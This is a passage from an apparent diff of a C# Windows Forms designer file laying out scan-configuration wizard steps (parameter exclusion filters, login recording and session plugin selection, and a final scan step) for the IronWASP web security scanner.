this.groupBox6.Controls.Add(this.HeadersParametersPlusTB); + this.groupBox6.Controls.Add(this.HeadersParametersMinusTB); + this.groupBox6.Controls.Add(this.HeadersParametersPlusRB); + this.groupBox6.Controls.Add(this.HeadersParametersMinusRB); + this.groupBox6.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox6.Location = new System.Drawing.Point(10, 240); + this.groupBox6.Margin = new System.Windows.Forms.Padding(0); + this.groupBox6.Name = "groupBox6"; + this.groupBox6.Size = new System.Drawing.Size(800, 52); + this.groupBox6.TabIndex = 95; + this.groupBox6.TabStop = false; + // + // HeadersParametersFilterCB + // + this.HeadersParametersFilterCB.AutoSize = true; + this.HeadersParametersFilterCB.Enabled = false; + this.HeadersParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.HeadersParametersFilterCB.Name = "HeadersParametersFilterCB"; + this.HeadersParametersFilterCB.Size = new System.Drawing.Size(203, 17); + this.HeadersParametersFilterCB.TabIndex = 59; + this.HeadersParametersFilterCB.Text = "Don\'t scan these Header Parameters:"; + this.HeadersParametersFilterCB.UseVisualStyleBackColor = true; + this.HeadersParametersFilterCB.CheckedChanged += new System.EventHandler(this.HeadersParametersFilterCB_CheckedChanged); + // + // HeadersParametersPlusTB + // + this.HeadersParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HeadersParametersPlusTB.Enabled = false; + this.HeadersParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.HeadersParametersPlusTB.Name = "HeadersParametersPlusTB"; + this.HeadersParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.HeadersParametersPlusTB.TabIndex = 51; + // + // HeadersParametersMinusTB + // + this.HeadersParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HeadersParametersMinusTB.Enabled = false; + this.HeadersParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.HeadersParametersMinusTB.Name = "HeadersParametersMinusTB"; + this.HeadersParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.HeadersParametersMinusTB.TabIndex = 52; + this.HeadersParametersMinusTB.Text = "Proxy-Connection, User-Agent, Accept, Referer, Accept-Encoding, Accept-Language, " + + "Accept-Charset, Content-Type, Content-Length, If-Modified-Since, Pragma"; + // + // HeadersParametersPlusRB + // + this.HeadersParametersPlusRB.AutoSize = true; + this.HeadersParametersPlusRB.Enabled = false; + this.HeadersParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersParametersPlusRB.Location = new System.Drawing.Point(215, 10); + this.HeadersParametersPlusRB.Name = "HeadersParametersPlusRB"; + this.HeadersParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.HeadersParametersPlusRB.TabIndex = 57; + this.HeadersParametersPlusRB.Text = "+"; + this.HeadersParametersPlusRB.UseVisualStyleBackColor = true; + this.HeadersParametersPlusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersPlusRB_CheckedChanged); + // + // HeadersParametersMinusRB + // + this.HeadersParametersMinusRB.AutoSize = true; + this.HeadersParametersMinusRB.Checked = true; + this.HeadersParametersMinusRB.Enabled = false; + this.HeadersParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersParametersMinusRB.Location = new System.Drawing.Point(215, 29); + this.HeadersParametersMinusRB.Name = "HeadersParametersMinusRB"; + this.HeadersParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.HeadersParametersMinusRB.TabIndex = 58; + this.HeadersParametersMinusRB.TabStop = true; + this.HeadersParametersMinusRB.Text = "-"; + this.HeadersParametersMinusRB.UseVisualStyleBackColor = true; + this.HeadersParametersMinusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersMinusRB_CheckedChanged); + // + // groupBox7 + // + this.groupBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox7.Controls.Add(this.QueryParametersFilterCB); + this.groupBox7.Controls.Add(this.QueryParametersPlusTB); + this.groupBox7.Controls.Add(this.QueryParametersMinusTB); + this.groupBox7.Controls.Add(this.QueryParametersPlusRB); + this.groupBox7.Controls.Add(this.QueryParametersMinusRB); + this.groupBox7.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox7.Location = new System.Drawing.Point(10, 64); + this.groupBox7.Margin = new System.Windows.Forms.Padding(0); + this.groupBox7.Name = "groupBox7"; + this.groupBox7.Size = new System.Drawing.Size(800, 52); + this.groupBox7.TabIndex = 92; + this.groupBox7.TabStop = false; + // + // QueryParametersFilterCB + // + this.QueryParametersFilterCB.AutoSize = true; + this.QueryParametersFilterCB.Enabled = false; + this.QueryParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.QueryParametersFilterCB.Name = "QueryParametersFilterCB"; + this.QueryParametersFilterCB.Size = new System.Drawing.Size(196, 17); + this.QueryParametersFilterCB.TabIndex = 59; + this.QueryParametersFilterCB.Text = "Don\'t scan these Query Parameters:"; + this.QueryParametersFilterCB.UseVisualStyleBackColor = true; + this.QueryParametersFilterCB.CheckedChanged += new System.EventHandler(this.QueryParametersFilterCB_CheckedChanged); + // + // QueryParametersPlusTB + // + this.QueryParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.QueryParametersPlusTB.Enabled = false; + this.QueryParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.QueryParametersPlusTB.Name = "QueryParametersPlusTB"; + this.QueryParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.QueryParametersPlusTB.TabIndex = 51; + // + // QueryParametersMinusTB + // + this.QueryParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.QueryParametersMinusTB.Enabled = false; + this.QueryParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.QueryParametersMinusTB.Name = "QueryParametersMinusTB"; + this.QueryParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.QueryParametersMinusTB.TabIndex = 52; + // + // QueryParametersPlusRB + // + this.QueryParametersPlusRB.AutoSize = true; + this.QueryParametersPlusRB.Enabled = false; + this.QueryParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParametersPlusRB.Location = new System.Drawing.Point(215, 9); + this.QueryParametersPlusRB.Name = "QueryParametersPlusRB"; + this.QueryParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.QueryParametersPlusRB.TabIndex = 57; + this.QueryParametersPlusRB.Text = "+"; + this.QueryParametersPlusRB.UseVisualStyleBackColor = true; + this.QueryParametersPlusRB.CheckedChanged += new System.EventHandler(this.QueryParametersPlusRB_CheckedChanged); + // + // QueryParametersMinusRB + // + this.QueryParametersMinusRB.AutoSize = true; + this.QueryParametersMinusRB.Checked = true; + this.QueryParametersMinusRB.Enabled = false; + this.QueryParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParametersMinusRB.Location = new System.Drawing.Point(215, 28); + this.QueryParametersMinusRB.Name = "QueryParametersMinusRB"; + this.QueryParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.QueryParametersMinusRB.TabIndex = 58; + this.QueryParametersMinusRB.TabStop = true; + this.QueryParametersMinusRB.Text = "-"; + this.QueryParametersMinusRB.UseVisualStyleBackColor = true; + this.QueryParametersMinusRB.CheckedChanged += new System.EventHandler(this.QueryParametersMinusRB_CheckedChanged); + // + // groupBox8 + // + this.groupBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox8.Controls.Add(this.BodyParametersFilterCB); + this.groupBox8.Controls.Add(this.BodyParametersPlusTB); + this.groupBox8.Controls.Add(this.BodyParametersMinusTB); + this.groupBox8.Controls.Add(this.BodyParametersPlusRB); + this.groupBox8.Controls.Add(this.BodyParametersMinusRB); + this.groupBox8.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox8.Location = new System.Drawing.Point(10, 125); + this.groupBox8.Margin = new System.Windows.Forms.Padding(0); + this.groupBox8.Name = "groupBox8"; + this.groupBox8.Size = new System.Drawing.Size(800, 52); + this.groupBox8.TabIndex = 93; + this.groupBox8.TabStop = false; + // + // BodyParametersFilterCB + // + this.BodyParametersFilterCB.AutoSize = true; + this.BodyParametersFilterCB.Enabled = false; + this.BodyParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.BodyParametersFilterCB.Name = "BodyParametersFilterCB"; + this.BodyParametersFilterCB.Size = new System.Drawing.Size(192, 17); + this.BodyParametersFilterCB.TabIndex = 59; + this.BodyParametersFilterCB.Text = "Don\'t scan these Body Parameters:"; + this.BodyParametersFilterCB.UseVisualStyleBackColor = true; + this.BodyParametersFilterCB.CheckedChanged += new System.EventHandler(this.BodyParametersFilterCB_CheckedChanged); + // + // BodyParametersPlusTB + // + this.BodyParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyParametersPlusTB.Enabled = false; + this.BodyParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.BodyParametersPlusTB.Name = "BodyParametersPlusTB"; + this.BodyParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.BodyParametersPlusTB.TabIndex = 51; + // + // BodyParametersMinusTB + // + this.BodyParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyParametersMinusTB.Enabled = false; + this.BodyParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.BodyParametersMinusTB.Name = "BodyParametersMinusTB"; + this.BodyParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.BodyParametersMinusTB.TabIndex = 52; + this.BodyParametersMinusTB.Text = "__VIEWSTATE, javax.faces.ViewState"; + // + // BodyParametersPlusRB + // + this.BodyParametersPlusRB.AutoSize = true; + this.BodyParametersPlusRB.Enabled = false; + this.BodyParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParametersPlusRB.Location = new System.Drawing.Point(215, 8); + this.BodyParametersPlusRB.Name = "BodyParametersPlusRB"; + this.BodyParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.BodyParametersPlusRB.TabIndex = 57; + this.BodyParametersPlusRB.Text = "+"; + this.BodyParametersPlusRB.UseVisualStyleBackColor = true; + this.BodyParametersPlusRB.CheckedChanged += new System.EventHandler(this.BodyParametersPlusRB_CheckedChanged); + // + // BodyParametersMinusRB + // + this.BodyParametersMinusRB.AutoSize = true; + this.BodyParametersMinusRB.Checked = true; + this.BodyParametersMinusRB.Enabled = false; + this.BodyParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParametersMinusRB.Location = new System.Drawing.Point(215, 27); + this.BodyParametersMinusRB.Name = "BodyParametersMinusRB"; + this.BodyParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.BodyParametersMinusRB.TabIndex = 58; + this.BodyParametersMinusRB.TabStop = true; + this.BodyParametersMinusRB.Text = "-"; + this.BodyParametersMinusRB.UseVisualStyleBackColor = true; + this.BodyParametersMinusRB.CheckedChanged += new System.EventHandler(this.BodyParametersMinusRB_CheckedChanged); + // + // groupBox9 + // + this.groupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox9.Controls.Add(this.CookieParametersFilterCB); + this.groupBox9.Controls.Add(this.CookieParametersPlusTB); + this.groupBox9.Controls.Add(this.CookieParametersMinusTB); + this.groupBox9.Controls.Add(this.CookieParametersPlusRB); + this.groupBox9.Controls.Add(this.CookieParametersMinusRB); + this.groupBox9.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox9.Location = new System.Drawing.Point(10, 184); + this.groupBox9.Margin = new System.Windows.Forms.Padding(0); + this.groupBox9.Name = "groupBox9"; + this.groupBox9.Size = new System.Drawing.Size(800, 52); + this.groupBox9.TabIndex = 94; + this.groupBox9.TabStop = false; + // + // CookieParametersFilterCB + // + this.CookieParametersFilterCB.AutoSize = true; + this.CookieParametersFilterCB.Enabled = false; + this.CookieParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.CookieParametersFilterCB.Name = "CookieParametersFilterCB"; + this.CookieParametersFilterCB.Size = new System.Drawing.Size(201, 17); + this.CookieParametersFilterCB.TabIndex = 59; + this.CookieParametersFilterCB.Text = "Don\'t scan these Cookie Parameters:"; + this.CookieParametersFilterCB.UseVisualStyleBackColor = true; + this.CookieParametersFilterCB.CheckedChanged += new System.EventHandler(this.CookieParametersFilterCB_CheckedChanged); + // + // CookieParametersPlusTB + // + this.CookieParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieParametersPlusTB.Enabled = false; + this.CookieParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.CookieParametersPlusTB.Name = "CookieParametersPlusTB"; + this.CookieParametersPlusTB.Size = new System.Drawing.Size(542, 20); + this.CookieParametersPlusTB.TabIndex = 51; + // + // CookieParametersMinusTB + // + this.CookieParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieParametersMinusTB.Enabled = false; + this.CookieParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.CookieParametersMinusTB.Name = "CookieParametersMinusTB"; + this.CookieParametersMinusTB.Size = new System.Drawing.Size(542, 20); + this.CookieParametersMinusTB.TabIndex = 52; + this.CookieParametersMinusTB.Text = "JSESSIONID, PHPSESSID, ASPSESSIONID, ASP.NET_SessionId"; + // + // CookieParametersPlusRB + // + this.CookieParametersPlusRB.AutoSize = true; + this.CookieParametersPlusRB.Enabled = false; + this.CookieParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParametersPlusRB.Location = new System.Drawing.Point(215, 8); + this.CookieParametersPlusRB.Name = "CookieParametersPlusRB"; + this.CookieParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.CookieParametersPlusRB.TabIndex = 57; + this.CookieParametersPlusRB.Text = "+"; + this.CookieParametersPlusRB.UseVisualStyleBackColor = true; + this.CookieParametersPlusRB.CheckedChanged += new System.EventHandler(this.CookieParametersPlusRB_CheckedChanged); + // + // CookieParametersMinusRB + // + this.CookieParametersMinusRB.AutoSize = true; + this.CookieParametersMinusRB.Checked = true; + this.CookieParametersMinusRB.Enabled = false; + this.CookieParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParametersMinusRB.Location = new System.Drawing.Point(215, 27); + this.CookieParametersMinusRB.Name = "CookieParametersMinusRB"; + this.CookieParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.CookieParametersMinusRB.TabIndex = 58; + this.CookieParametersMinusRB.TabStop = true; + this.CookieParametersMinusRB.Text = "-"; + this.CookieParametersMinusRB.UseVisualStyleBackColor = true; + this.CookieParametersMinusRB.CheckedChanged += new System.EventHandler(this.CookieParametersMinusRB_CheckedChanged); + // + // Three + // + this.Three.Controls.Add(this.LoginRecordingComboBox); + this.Three.Controls.Add(this.label3); + this.Three.Controls.Add(this.StartLoginRecordingLL); + this.Three.Controls.Add(this.ScanBranchSessionPluginsCombo); + this.Three.Controls.Add(this.ScanThreadLimitCB); + this.Three.Controls.Add(this.textBox4); + this.Three.Controls.Add(this.FormatGrid); + this.Three.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); + this.Three.Controls.Add(this.Step3StatusTB); + this.Three.Controls.Add(this.StepThreePreviousBtn); + this.Three.Controls.Add(this.StepThreeNextBtn); + this.Three.Controls.Add(this.RefreshSessListLL); + this.Three.Controls.Add(this.textBox1); + this.Three.Controls.Add(this.label5); + this.Three.Location = new System.Drawing.Point(4, 25); + this.Three.Name = "Three"; + this.Three.Size = new System.Drawing.Size(826, 332); + this.Three.TabIndex = 6; + this.Three.Text = " Customization "; + this.Three.UseVisualStyleBackColor = true; + // + // LoginRecordingComboBox + // + this.LoginRecordingComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.LoginRecordingComboBox.FormattingEnabled = true; + this.LoginRecordingComboBox.Location = new System.Drawing.Point(259, 91); + this.LoginRecordingComboBox.Name = "LoginRecordingComboBox"; + this.LoginRecordingComboBox.Size = new System.Drawing.Size(296, 21); + this.LoginRecordingComboBox.TabIndex = 164; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(10, 94); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(244, 13); + this.label3.TabIndex = 163; + this.label3.Text = "Select a Login Reccording to use during the scan:"; + // + // StartLoginRecordingLL + // + this.StartLoginRecordingLL.AutoSize = true; + this.StartLoginRecordingLL.Location = new System.Drawing.Point(201, 33); + this.StartLoginRecordingLL.Name = "StartLoginRecordingLL"; + this.StartLoginRecordingLL.Size = new System.Drawing.Size(110, 13); + this.StartLoginRecordingLL.TabIndex = 162; + this.StartLoginRecordingLL.TabStop = true; + this.StartLoginRecordingLL.Text = "Start Login Recording"; + this.StartLoginRecordingLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.StartLoginRecordingLL_LinkClicked); + // + // ScanBranchSessionPluginsCombo + // + this.ScanBranchSessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanBranchSessionPluginsCombo.FormattingEnabled = true; + this.ScanBranchSessionPluginsCombo.Location = new System.Drawing.Point(259, 118); + this.ScanBranchSessionPluginsCombo.Name = "ScanBranchSessionPluginsCombo"; + this.ScanBranchSessionPluginsCombo.Size = new System.Drawing.Size(296, 21); + this.ScanBranchSessionPluginsCombo.TabIndex = 161; + // + // ScanThreadLimitCB + // + this.ScanThreadLimitCB.AutoSize = true; + this.ScanThreadLimitCB.Checked = true; + this.ScanThreadLimitCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanThreadLimitCB.Location = new System.Drawing.Point(11, 143); + this.ScanThreadLimitCB.Name = "ScanThreadLimitCB"; + this.ScanThreadLimitCB.Size = new System.Drawing.Size(582, 17); + this.ScanThreadLimitCB.TabIndex = 160; + this.ScanThreadLimitCB.Text = "When a Login Recording or Session Plugin is selected, automatically set the Scan " + + "thread limit to one. (Recommended)"; + this.ScanThreadLimitCB.UseVisualStyleBackColor = true; + // + // textBox4 + // + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Location = new System.Drawing.Point(8, 196); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(570, 89); + this.textBox4.TabIndex = 159; + this.textBox4.Text = resources.GetString("textBox4.Text"); + // + // FormatGrid + // + this.FormatGrid.AllowUserToAddRows = false; + this.FormatGrid.AllowUserToDeleteRows = false; + this.FormatGrid.AllowUserToResizeRows = false; + this.FormatGrid.BackgroundColor = System.Drawing.Color.White; + this.FormatGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FormatGrid.ColumnHeadersVisible = false; + this.FormatGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn2, + this.dataGridViewTextBoxColumn2}); + this.FormatGrid.GridColor = System.Drawing.Color.White; + this.FormatGrid.Location = new System.Drawing.Point(591, 168); + this.FormatGrid.Margin = new System.Windows.Forms.Padding(0); + this.FormatGrid.Name = "FormatGrid"; + this.FormatGrid.ReadOnly = true; + this.FormatGrid.RowHeadersVisible = false; + this.FormatGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FormatGrid.Size = new System.Drawing.Size(227, 119); + this.FormatGrid.TabIndex = 157; + this.FormatGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatGrid_CellClick); + // + // dataGridViewCheckBoxColumn2 + // + this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn2.HeaderText = ""; + this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; + this.dataGridViewCheckBoxColumn2.ReadOnly = true; + this.dataGridViewCheckBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn2.Width = 20; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn2.HeaderText = "SCAN PLUGINS"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // LaunchSessionPluginCreationAssistantLL + // + this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; + this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(152, 59); + this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; + this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); + this.LaunchSessionPluginCreationAssistantLL.TabIndex = 156; + this.LaunchSessionPluginCreationAssistantLL.TabStop = true; + this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; + this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); + // + // Step3StatusTB + // + this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step3StatusTB.BackColor = System.Drawing.Color.White; + this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step3StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step3StatusTB.Location = new System.Drawing.Point(130, 302); + this.Step3StatusTB.Multiline = true; + this.Step3StatusTB.Name = "Step3StatusTB"; + this.Step3StatusTB.Size = new System.Drawing.Size(577, 23); + this.Step3StatusTB.TabIndex = 155; + this.Step3StatusTB.TabStop = false; + this.Step3StatusTB.Visible = false; + // + // StepThreePreviousBtn + // + this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreePreviousBtn.Location = new System.Drawing.Point(7, 302); + this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; + this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreePreviousBtn.TabIndex = 154; + this.StepThreePreviousBtn.Text = "<-Previous Step"; + this.StepThreePreviousBtn.UseVisualStyleBackColor = true; + this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); + // + // StepThreeNextBtn + // + this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreeNextBtn.Location = new System.Drawing.Point(713, 302); + this.StepThreeNextBtn.Name = "StepThreeNextBtn"; + this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreeNextBtn.TabIndex = 153; + this.StepThreeNextBtn.Text = "Next Step ->"; + this.StepThreeNextBtn.UseVisualStyleBackColor = true; + this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); + // + // RefreshSessListLL + // + this.RefreshSessListLL.AutoSize = true; + this.RefreshSessListLL.Location = new System.Drawing.Point(567, 107); + this.RefreshSessListLL.Name = "RefreshSessListLL"; + this.RefreshSessListLL.Size = new System.Drawing.Size(242, 13); + this.RefreshSessListLL.TabIndex = 152; + this.RefreshSessListLL.TabStop = true; + this.RefreshSessListLL.Text = "Refresh Login Recording and Session Plugins List"; + this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); + // + // textBox1 + // + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(11, 7); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(798, 65); + this.textBox1.TabIndex = 151; + this.textBox1.TabStop = false; + this.textBox1.Text = "If you want to handle CSRF tokens, authentication and other custom site behaviour" + + "s during the scan then you have two options:\r\n\r\n1) Record Login and CSRF handlin" + + "g - \r\n\r\n2) Create a Session Plugin - \r\n"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(10, 121); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(229, 13); + this.label5.TabIndex = 7; + this.label5.Text = "Select a Session Plugin to use during the scan:"; + // + // Four + // + this.Four.Controls.Add(this.PromptUserCB); + this.Four.Controls.Add(this.ScanBranchErrorTB); + this.Four.Controls.Add(this.label27); + this.Four.Controls.Add(this.ScanBranchStatsPanel); + this.Four.Controls.Add(this.label28); + this.Four.Controls.Add(this.textBox3); + this.Four.Controls.Add(this.SaveTemplateLL); + this.Four.Controls.Add(this.label29); + this.Four.Controls.Add(this.StepFourPreviousBtn); + this.Four.Controls.Add(this.FinalBtn); + this.Four.Location = new System.Drawing.Point(4, 25); + this.Four.Name = "Four"; + this.Four.Size = new System.Drawing.Size(826, 332); + this.Four.TabIndex = 3; + this.Four.Text = " Done "; + this.Four.UseVisualStyleBackColor = true; + // + // PromptUserCB + // + this.PromptUserCB.AutoSize = true; + this.PromptUserCB.Checked = true; + this.PromptUserCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.PromptUserCB.Location = new System.Drawing.Point(17, 61); + this.PromptUserCB.Name = "PromptUserCB"; + this.PromptUserCB.Size = new System.Drawing.Size(223, 17); + this.PromptUserCB.TabIndex = 153; + this.PromptUserCB.Text = "Prompt me for Assistance during the Scan"; + this.PromptUserCB.UseVisualStyleBackColor = true; + // + // label27 + // + this.label27.AutoSize = true; + this.label27.Location = new System.Drawing.Point(14, 38); + this.label27.Name = "label27"; + this.label27.Size = new System.Drawing.Size(535, 13); + this.label27.TabIndex = 152; + this.label27.Text = "You can opt to be prompted for assistance by IronWASP and your input ensure optim" + + "al coverage and efficiency."; + // + // label28 + // + this.label28.AutoSize = true; + this.label28.Location = new System.Drawing.Point(14, 21); + this.label28.Name = "label28"; + this.label28.Size = new System.Drawing.Size(615, 13); + this.label28.TabIndex = 151; + this.label28.Text = "If there are requests in the logs that look similar then IronWASP will try to aut" + + "omatically avoid duplicates but can help this process."; + // + // textBox3 + // + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Location = new System.Drawing.Point(14, 96); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(801, 25); + this.textBox3.TabIndex = 150; + this.textBox3.Text = "You can now start this scan. All scan jobs created would be available under the \'" + + "Automated Scanning\' section. You can stop or restart any of the scans from there" + + ".\r\n"; + // + // SaveTemplateLL + // + this.SaveTemplateLL.AutoSize = true; + this.SaveTemplateLL.Location = new System.Drawing.Point(576, 124); + this.SaveTemplateLL.Name = "SaveTemplateLL"; + 